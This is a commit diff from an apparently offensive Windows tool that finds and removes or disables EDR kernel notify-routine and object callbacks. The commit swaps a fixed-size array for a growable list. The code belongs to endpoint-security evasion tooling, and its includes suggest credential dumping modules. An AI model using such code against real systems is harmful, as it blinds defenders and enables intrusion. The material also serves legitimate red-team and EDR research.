Changed the way found callbacks are stored (removed the size limit)

This commit is contained in:
Maxime Meignan
2023-11-29 14:25:39 +01:00
parent 5bfd633022
commit 4c2449cfd4
4 changed files with 60 additions and 47 deletions
+5 -4
View File
@@ -20,7 +20,7 @@
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK
OBJECT_CALLBACK,
};
struct KRNL_CALLBACK {
enum kernel_callback_type_e type;
@@ -40,11 +40,12 @@ struct KRNL_CALLBACK {
};
struct FOUND_EDR_CALLBACKS {
DWORD64 index;
struct KRNL_CALLBACK EDR_CALLBACKS[256];
SIZE_T size;
SIZE_T max_size;
struct KRNL_CALLBACK* EDR_CALLBACKS;
};
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback);
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
@@ -58,8 +58,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
}
newFoundDriver.removed = FALSE;
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
edrCallbacks->index++;
AddFoundKernelCallback(edrCallbacks, &newFoundDriver);
CurrentEDRCallbacksCount++;
}
}
@@ -78,7 +77,7 @@ void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType no
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
for (DWORD i = 0; i < edrCallbacks->size; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType &&
@@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) {
if (foundCallbacks->size == foundCallbacks->max_size) {
foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1;
PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK));
if (tmp == NULL) {
exit(1);
}
foundCallbacks->EDR_CALLBACKS = tmp;
}
foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback;
foundCallbacks->size++;
}
+19 -21
View File
@@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
if (FoundObjectCallbacks->index >= 256) {
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
exit(1);
}
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
@@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePreOperation;
cb->removed = FALSE;
cb->callback_func = PreOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
struct KRNL_CALLBACK cb;
cb.type = OBJECT_CALLBACK;
cb.driver_name = driverNamePreOperation;
cb.removed = FALSE;
cb.callback_func = PreOperation;
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE;
}
else {
@@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
if (FoundObjectCallbacks->index != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
if (FoundObjectCallbacks->size != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation)
continue;
}
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePostOperation;
cb->removed = FALSE;
cb->callback_func = PostOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
struct KRNL_CALLBACK cb;
cb.type = OBJECT_CALLBACK;
cb.driver_name = driverNamePostOperation;
cb.removed = FALSE;
cb.callback_func = PostOperation;
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE;
}
else {
@@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
+4 -4
View File
@@ -10,17 +10,19 @@
#include <assert.h>
#endif
#include "CiOffsets.h"
#include "CredGuard.h"
#include "DriverOps.h"
#include "FileUtils.h"
#include "Firewalling.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "KernelDSE.h"
#include "KernelMemoryPrimitives.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
#include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
#include "PEBBrowse.h"
#include "PrintFunctions.h"
#include "RunAsPPL.h"
@@ -28,8 +30,6 @@
#include "Undoc.h"
#include "UserlandHooks.h"
#include "WdigestOffsets.h"
#include "CiOffsets.h"
#include "KernelDSE.h"
//TODO P1 : implement a "clean" mode that only removes the driver if installed
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting